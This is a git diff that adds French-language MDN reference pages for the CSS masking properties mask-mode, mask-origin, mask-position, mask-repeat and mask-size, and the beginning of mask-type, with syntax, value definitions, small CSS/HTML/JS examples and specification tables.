+<p>La propriété <strong><code>mask-mode</code></strong> détermine si le masque défini par {{cssxref("mask-image")}} est considéré comme un masque de luminance ou un masque alpha (transparence).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-mode: alpha;
+mask-mode: luminance;
+mask-mode: match-source;
+
+/* Gestion de plusieurs masques */
+mask-mode: alpha, match-source;
+
+/* Valeurs globales */
+mask-mode: inherit;
+mask-mode: initial;
+mask-mode: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>mask-mode</code> est définie avec un ou plusieurs mots-clés parmi ceux de la liste suivante, séparés par des virgules.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>alpha</code></dt>
+ <dd>Ce mot-clé indique que ce sont les valeurs du canal alpha (le canal de transparence) qui sont utilisées comme valeurs de masque.</dd>
+ <dt><code>luminance</code></dt>
+ <dd>Ce mot-clé indique que ce sont les valeurs de luminance qui sont utilisées comme valeurs de masque.</dd>
+ <dt><code>match-source</code></dt>
+ <dd>
+ <p>Si la propriété {{cssxref("mask-image")}} est de type <code>&lt;mask-source&gt;</code>, les valeurs de luminance de l'image doivent être utilisée comme valeurs pour le masque.</p>
+
+ <p>Si elle est de type {{cssxref("&lt;image&gt;")}}, ce seront les valeurs de transparence (canal alpha) qui seront utilisées.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Alpha">Alpha</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[7]">#masked {
+  width: 100px;
+  height: 100px;
+  background: blue linear-gradient(red, blue);
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  -webkit-mask-size: 100% 100%;
+  mask-size: 100% 100%;
+  -webkit-mask-mode: alpha;
+  mask-mode: alpha;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="masked"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Alpha", "110px", "130px")}}</p>
+
+<h3 id="Luminance">Luminance</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight[7]">#masked {
+  width: 100px;
+  height: 100px;
+  background-color: #8cffa0;
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  -webkit-mask-size: 100% 100%;
+  mask-size: 100% 100%;
+  -webkit-mask-mode: luminance;
+  mask-mode: luminance;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div id="masked"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Luminance", "110px", "130px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-mode", "mask-mode")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-mode")}}</p>
diff --git a/files/fr/web/css/mask-origin/index.html b/files/fr/web/css/mask-origin/index.html
new file mode 100644
index 0000000000..fdebe34999
--- /dev/null
+++ b/files/fr/web/css/mask-origin/index.html
@@ -0,0 +1,144 @@
+---
+title: mask-origin
+slug: Web/CSS/mask-origin
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-origin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask-origin</code></strong> permet de définir l'origine à partir de laquelle placer le masque.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-origin: content-box;
+mask-origin: padding-box;
+mask-origin: border-box;
+mask-origin: margin-box;
+mask-origin: fill-box;
+mask-origin: stroke-box;
+mask-origin: view-box;
+
+/* Valeurs multiples */
+mask-origin: padding-box, content-box;
+mask-origin: view-box, fill-box, border-box;
+
+/* Valeurs non-standards */
+ -webkit-mask-origin: content;
+ -webkit-mask-origin: padding;
+ -webkit-mask-origin: border;
+
+/* Valeurs globales */
+mask-origin: inherit;
+mask-origin: initial;
+mask-origin: unset;
+</pre>
+
+<p>Pour les éléments qui sont affichés avec une unique boîte, cette propriété définit la zone de positionnement du masque. Autrement dit, cette propriété indique l'origine de la position pour l'image définie via {{cssxref("mask-image")}}. Pour les éléments qui sont affichés comme plusieurs boîtes (les boîtes <em>inline</em> ou plusieurs lignes ou plusieurs boîtes sur plusieurs pages), elle définit les boîtes sur lesquelles {{cssxref("box-decoration-break")}} agira pour déterminer la zone de positionnement du masque.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un ou plusieurs mots-clés parmi ceux listés ci-après, chacun séparé par une virgule.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>La position de la zone est relative à la boîte de contenu.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>La position de la zone est relative à la boîte de remplissage (<em>padding</em>). Pour les boîtes simples, <code>0 0</code> désigne le coin en haut à gauche de la bordure de cette boîte et <code>100% 100%</code> le coin en bas à droite.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>La position de la zone est relative à la boîte de bordure.</dd>
+ <dt><code>margin-box</code></dt>
+ <dd>La position de la zone est relative à la boîte de marge.</dd>
+ <dt><code>fill-box</code></dt>
+ <dd>La position de la zone est relative à la boîte liée à l'objet (<em><a href="https://www.w3.org/TR/2011/REC-SVG11-20110816/types.html#__svg__SVGLocatable__getBBox">bounding box</a></em>).</dd>
+ <dt><code>stroke-box</code></dt>
+ <dd>La position de la zone est relative à la boîte de contour de l'objet (<em><a href="https://www.w3.org/TR/css-masking/#stroke-bounding-box">stroke bounding box</a></em>).</dd>
+ <dt><code>view-box</code></dt>
+ <dd>La zone d'affichage (<em>viewport</em>) SVG la plus proche est utilisée comme boîte de référence. Si l'attribut {{svgattr("viewBox")}} est défini pour l'élément qui crée la zone d'affichage, la boîte de référence est positionnée à l'origine du système de coordonnées établi par <code>viewBox</code>. Les dimensions de la boîte de référence sont les valeurs de largeur et de hauteur de <code>viewBox</code>.</dd>
+ <dt><code>content</code>{{non-standard_inline}}</dt>
+ <dd>Synonyme de <code>content-box</code>.</dd>
+ <dt><code>padding</code>{{non-standard_inline}}</dt>
+ <dd>Synonyme de <code>padding-box</code>.</dd>
+ <dt><code>border</code>{{non-standard_inline}}</dt>
+ <dd>Synonyme de <code>border-box</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[9]">#masked {
+  width: 100px;
+  height: 100px;
+  margin: 10px;
+  border: 10px solid blue;
+  background-color: #8cffa0;
+  padding: 10px;
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg);
+  -webkit-mask-origin: border-box; /* À modifier dans le résultat. */
+  mask-origin: border-box; /* À modifier dans le résultat. */
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="masked"&gt;
+&lt;/div&gt;
+&lt;select id="origin"&gt;
+  &lt;option value="content-box"&gt;content-box&lt;/option&gt;
+  &lt;option value="padding-box"&gt;padding-box&lt;/option&gt;
+  &lt;option value="border-box" selected&gt;border-box&lt;/option&gt;
+  &lt;option value="margin-box"&gt;margin-box&lt;/option&gt;
+  &lt;option value="fill-box"&gt;fill-box&lt;/option&gt;
+  &lt;option value="stroke-box"&gt;stroke-box&lt;/option&gt;
+  &lt;option value="view-box"&gt;view-box&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var origin = document.getElementById("origin");
+origin.addEventListener("change", function (evt) {
+  document.getElementById("masked").style.maskOrigin = evt.target.value;
+});
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 160, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-origin", "mask-origin")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-origin")}}</p>
diff --git a/files/fr/web/css/mask-position/index.html b/files/fr/web/css/mask-position/index.html
new file mode 100644
index 0000000000..c5e49fc5c9
--- /dev/null
+++ b/files/fr/web/css/mask-position/index.html
@@ -0,0 +1,132 @@
+---
+title: mask-position
+slug: Web/CSS/mask-position
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask-position</code></strong> indique la position initiale pour chaque image de masque utilisée. Cette position est relative à l'origine définie via la propriété {{cssxref("mask-origin")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-position: top;
+mask-position: bottom;
+mask-position: left;
+mask-position: right;
+mask-position: center;
+
+/*  Valeurs en pourcentage */
+/* Type &lt;percentage&gt;       */
+mask-position: 25% 75%;
+
+/* Valeurs en longueur */
+/* Type &lt;length&gt;       */
+mask-position: 0px 0px;
+mask-position: 1cm 2cm;
+mask-position: 10ch 8em;
+
+/* Valeurs multiples */
+mask-position: 0px 0px, center;
+
+/* Valeurs globales */
+mask-position: inherit;
+mask-position: initial;
+mask-position: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Une position CSS (type {{cssxref("&lt;position&gt;")}}) qui représente une position par rapport aux côtés de la boîte de l'élément. Les décalages indiqués peuvent être relatifs ou absolus. On notera que la position obtenue peut être située en dehors de la boîte de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[13]">#wrapper {
+  border: 1px solid black;
+  width: 250px;
+  height: 250px;
+}
+
+#masked {
+  width: 250px;
+  height: 250px;
+  background: blue linear-gradient(red, blue);
+  mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg);
+  mask-repeat: no-repeat;
+  mask-position: top right; /* Can be changed in the live sample */
+  margin-bottom: 10px;
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="wrapper"&gt;
+  &lt;div id="masked"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;select id="maskPosition"&gt;
+  &lt;option value="top"&gt;top&lt;/option&gt;
+  &lt;option value="center"&gt;center&lt;/option&gt;
+  &lt;option value="bottom"&gt;bottom&lt;/option&gt;
+  &lt;option value="top right" selected&gt;top right&lt;/option&gt;
+  &lt;option value="center center"&gt;center center&lt;/option&gt;
+  &lt;option value="bottom left"&gt;bottom left&lt;/option&gt;
+  &lt;option value="10px 20px"&gt;10px 20px&lt;/option&gt;
+  &lt;option value="60% 20%"&gt;60% 20%&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var maskPosition = document.getElementById("maskPosition");
+maskPosition.addEventListener("change", function (evt) {
+  document.getElementById("masked").style.maskPosition = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples",200,200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-position", "mask-position")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-position")}}</p>
diff --git a/files/fr/web/css/mask-repeat/index.html b/files/fr/web/css/mask-repeat/index.html
new file mode 100644
index 0000000000..501cc2e22f
--- /dev/null
+++ b/files/fr/web/css/mask-repeat/index.html
@@ -0,0 +1,165 @@
+---
+title: mask-repeat
+slug: Web/CSS/mask-repeat
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask-repeat</code></strong> définit la façon dont les images de masque sont répétées. Une image de masque peut être répétée horizontalement, verticalement, dans les deux directions ou pas du tout.</p>
+
+<pre class="brush:css no-line-numbers">/* Syntaxe avec une valeur */
+mask-repeat: repeat-x;
+mask-repeat: repeat-y;
+mask-repeat: repeat;
+mask-repeat: space;
+mask-repeat: round;
+mask-repeat: no-repeat;
+
+/* Syntaxe avec deux valeurs */
+/* Première valeur : répétition horizontale */
+/* Seconde valeur : répétition verticale */
+mask-repeat: repeat space;
+mask-repeat: repeat repeat;
+mask-repeat: round space;
+mask-repeat: no-repeat round;
+
+/* Valeurs globales */
+mask-repeat: inherit;
+mask-repeat: initial;
+mask-repeat: unset;
+</pre>
+
+<p>Par défaut, les images répétées sont rognées aux limites de l'élément mais on peut également les adapter pour qu'elles soient également réparties sur l'élément : en les redimensionnant si nécessaire (<code>round</code>) ou en les espaçant (<code>space</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs valeurs <code>&lt;repeat-style&gt;</code>, séparées par des virgules.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>La notation utilisant une seule valeur est une notation raccourcie qui possède un équivalent avec deux valeurs :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>Valeur unique</strong></td>
+    <td><strong>Équivalent sur deux valeurs</strong></td>
+   </tr>
+   <tr>
+    <td><code>repeat-x</code></td>
+    <td><code>repeat no-repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat-y</code></td>
+    <td><code>no-repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat</code></td>
+    <td><code>repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td><code>space space</code></td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td><code>round round</code></td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td><code>no-repeat no-repeat</code></td>
+   </tr>
+  </tbody>
+ </table>
+ Lorsqu'on utilise deux valeurs, la première indique le motif de répétition sur l'axe horizontal et la deuxième sur l'axe vertical. Voici une définition de chacun des mots-clés :</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat</code></td>
+    <td>L'image est répétée autant de fois que nécessaire pour recouvrir la zone dédiée au masque. La dernière image sera rognée si nécessaire.</td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>L'image est répétée autant que possible sans rognage. La première et la dernière image sont accolées aux bords de l'élément et des espaces sont repartis de façon égale entre les images. La propriété {{cssxref("mask-position")}} est ignorée sauf s'il n'y a qu'une seule image qui puisse être affichée sans être rognée. Le seul cas où <code>space</code> est utilisé et qu'une image est rognée se produit lorsque l'image est trop grande pour être affichée.</td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>L'image est répétée autant que possible et est étirée si nécessaire afin qu'il n'y ait ni rognage ni espace restant.</td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>Il n'y a aucune répétition de l'image (dès lors, il est possible que toute la zone ne soit pas recouverte par cette image). La position de l'image est définie grâce à la propriété {{cssxref("mask-position")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  height: 100px;
+  width: 100px;
+  background-color: rgb(128,128,128);
+  border: solid black 1px;
+
+  /* Pour voir la bordure */
+  -webkit-mask-clip: content;
+  mask-clip: content;
+
+  -webkit-mask-image: url('https://developer.mozilla.org/static/img/favicon32.png');
+  mask-image: url('https://developer.mozilla.org/static/img/favicon32.png');
+
+  -webkit-mask-repeat: repeat-x;
+  mask-repeat: repeat-x;
+
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-repeat", "mask-repeat")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-repeat")}}</p>
diff --git a/files/fr/web/css/mask-size/index.html b/files/fr/web/css/mask-size/index.html
new file mode 100644
index 0000000000..bbdc192176
--- /dev/null
+++ b/files/fr/web/css/mask-size/index.html
@@ -0,0 +1,153 @@
+---
+title: mask-size
+slug: Web/CSS/mask-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>mask-size</code></strong> définit les dimensions des images utilisées comme masques. La taille de l'image peut être contrainte, partiellement ou complètement, afin de conserver ses proportions intrinsèques.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-size: cover;
+mask-size: contain;
+
+/* Syntaxe avec une valeur           */
+/* qui indique la largeur de l'image */
+/* la hauteur est fixée à auto       */
+mask-size: 50%;
+mask-size: 3em;
+mask-size: 12px;
+mask-size: auto;
+
+/* Syntaxe avec deux valeurs :           */
+/* La première valeur indique la largeur */
+/* La seconde indique la hauteur         */
+mask-size: 50% auto;
+mask-size: 3em 25%;
+mask-size: auto 6px;
+mask-size: auto auto;
+
+/* Valeurs multiples pour gérer différents */
+/* masques. Attention à ne pas confondre   */
+/* avec mask-size: auto auto               */
+mask-size: auto, auto;
+mask-size: 50%, 25%, 25%;
+mask-size: 6px, auto, contain;
+
+/* Valeurs globales */
+mask-size: inherit;
+mask-size: initial;
+mask-size: unset;
+</pre>
+
+<div class="note"><strong>Note :</strong> Si la valeur de cette propriété n'est pas définie avec la propriété raccourcie {{cssxref("mask")}} et que celle-ci est appliquée après <code>mask-size</code>, la valeur sera réinitialisée avec sa valeur initiale à cause de la propriété raccourcie.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs valeurs <code>&lt;bg-size&gt;</code>, séparées par des virgules. Une valeur <code>&lt;bg-size&gt;</code> peut être définie de trois façons :</p>
+
+<ul>
+ <li>avec le mot-clé <code><a href="#contain">contain</a></code></li>
+ <li>avec le mot-clé <code><a href="#cover">cover</a></code></li>
+ <li>avec des valeurs pour la hauteur et la largeur.</li>
+</ul>
+
+<p>Pour indiquer une taille avec une largeur et une hauteur, il est possible de fournir une ou deux valeurs :</p>
+
+<ul>
+ <li>Si une seule valeur est fournie, elle servira à définir la largeur, la hauteur vaudra alors <code>auto</code></li>
+ <li>Si deux valeurs sont fournies, la première définira la largeur et la seonde définira la hauteur.</li>
+</ul>
+
+<p>Chaque valeur peut être une longueur (<code>&lt;length&gt;</code>), un pourcentage (<code>&lt;percentage&gt;</code>) ou <code>auto</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}} qui redimensionne l'image avec la longueur indiquée dans l'axe correspondant. Les longueurs négatives ne sont pas autorisées.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage ({{cssxref("&lt;percentage&gt;")}} qui indique le redimensionnement à appliquer dans l'axe correspondant à partir de l'origine définie par {{cssxref("mask-origin")}} par rapport à la taille  de la zone du masque. Par défaut, cette zone contient la boîte de contenu et la boîte de remplissage (<em>padding</em>) (on peut modifier cette zone pour choisir les boîtes concernées). Les valeurs négatives ne sont pas autorisées.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui permet de redimensionner l'image du masque dans l'axe correspondant tout en conservant ses proportions.</dd>
+ <dt><a><code>contain</code></a></dt>
+ <dd>Un mot-clé qui redimensionne l'image afin qu'elle soit aussi grande que possible et conserve ses proportions tout en étant contenue dans le contenur. Par défaut, l'image est centrée sauf si {{cssxref("mask-position")}} indique un autre paramètre.</dd>
+ <dt><a id="cover"><code>cover</code></a></dt>
+ <dd>Un mot-clé qui se comporte à l'inverse de <code>contain</code>. L'image est agrandie autant que possible et ses proportions sont conservées et elle couvre toute la surface du conteneur, si les dimensions du conteneur sont différentes, l'image est rognée sur les côtés (haut et bas ou droite et gauche).</dd>
+</dl>
+
+<p>L'interprétation des valeurs se fera en fonction des dimensions intrinsèques de l'image (sa hauteur et sa largeur) et de ses proportions intrinsèques (le ratio entre la largeur et la hauteur). Une image matricielle (<em>bitmap</em>) possèdera toujours des dimensions intrinsèques et des proportions intrinsèques. Une image vectorielle pourra avoir des dimensions intrinsèques (et donc, <em>de facto</em>, des proportions intrinsèques) ou également n'avoir qu'une ou aucune dimension intrinsèque et des proportions intrinsèques ou non. Les gradients sont considérés comme des images sans dimensions ni proportions intrinsèques.</p>
+
+<p>La taille de l'image affichée pour le masque est calculée de la façon suivante :</p>
+
+<dl>
+ <dt>Si les deux composants de <code>mask-size</code> sont définis et sont différents de <code>auto</code> :</dt>
+ <dd>L'image est affichée avec la taille indiquée.</dd>
+ <dt>Si <code>mask-size</code> vaut <code>contain</code> ou <code>cover</code> :</dt>
+ <dd>L'image est affichée en conservant ses proportions avec la plus grande taille possible pour être contenue ou couvrire toute la zone du masque. Si l'image ne possède pas de proportions intrinsèques, sa taille d'affichage sera la taille de la zone du masque.</dd>
+ <dt>Si <code>mask-size</code> vaut <code>auto</code> ou <code>auto auto </code>:</dt>
+ <dd>Si l'image possède deux dimensions intrinsèques, elle sera affichée avec cette taille. Si elle ne possède pas de dimensions intrinsèques ni de proportions intrinsèques, elle sera affichée à la taille de la zone du masque. Si elle n'a aucune dimension intrinsèque mais possède des proportions intrinsèques elle sera affichée comme si <code>contain</code> avait été utilisé. Si l'image possède une dimension intrinsèque et des proportions intrinsèques, sa taille sera déterminée grâce à ses informations. Si l'image possède une dimension intrinsèque mais aucune proportion intrinsèque, la dimension connue sera utilisée pour cet axe et la seconde sera celle de la zone pour le masque.</dd>
+ <dt>Si <code>mask-size</code> possède un composant <code>auto</code> et un autre composant différent de <code>auto</code> :</dt>
+ <dd>Si l'image possède des proportions intrinsèques, elle sera affichée avec la dimension connue et la deuxième sera calculée à partir de la proportion. Si l'image ne possède pas de proportions intrinsèques, la valeur définie sera utilisée pour l'axe correspondant et pour l'autre axe, on utilisera la dimension intrinsèque si elle est connue, sinon, on utilisera la dimension (sur cet axe) de la zone du masque.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  height: 100px;
+  width: 100px;
+  background-color: rgb(128,128,128);
+
+  -webkit-mask-image: url('https://mdn.mozillademos.org/files/13024/masque2.png');
+  mask-image: url('https://mdn.mozillademos.org/files/13024/masque2.png');
+
+  -webkit-mask-size: auto 50%;
+  mask-size: auto 50%;
+
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples",200,200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-size", "mask-size")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-size")}}</p>
diff --git a/files/fr/web/css/mask-type/index.html b/files/fr/web/css/mask-type/index.html
new file mode 100644
index 0000000000..e62f64e80e
--- /dev/null
+++ b/files/fr/web/css/mask-type/index.html
@@ -0,0 +1,182 @@
+---
+title: mask-type
+slug: Web/CSS/mask-type
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - SVG
+translation_of: Web/CSS/mask-type
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask-type</code></strong> définit si un masque sera utilisé comme un masque de <em>luminance</em> ou comme un masque de transparence (aussi appelé masque <em>alpha</em>). Cette propriété s'applique sur l'élément SVG {{SVGElement("mask")}}. Le comportement de cette propriété peut être surchargée par la propriété {{cssxref("mask-mode")}} qui définit sur quel élément le masque est appliqué. De façon générale, les masques alpha sont appliqués plus rapidement que les masques de luminance.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-type: luminance;
+mask-type: alpha;
+
+/* Valeurs globales */
+mask-type: inherit;
+mask-type: initial;
+mask-type: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>mask-type</code> est définie avec un mot-clé parmi ceux définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>luminance</code></dt>
+ <dd>Un mot-clé qui indique que l'image du masque doit être utilisée comme un masque de luminance. Autrement dit, ce sont <a href="https://fr.wikipedia.org/wiki/Luminance_relative">les valeurs de luminance relatives</a> qui seront utilisées lorsque le masque sera appliqué.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>Un mot-clé qui indique que l'image du masque doit être utilisée comme un masque de transparence. Autrement dit, ce sont les valeurs du <a href="https://fr.wikipedia.org/wiki/Canal_alpha">canal alpha</a> de l'image qui seront utilisées lorsque le masque sera appliqué.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
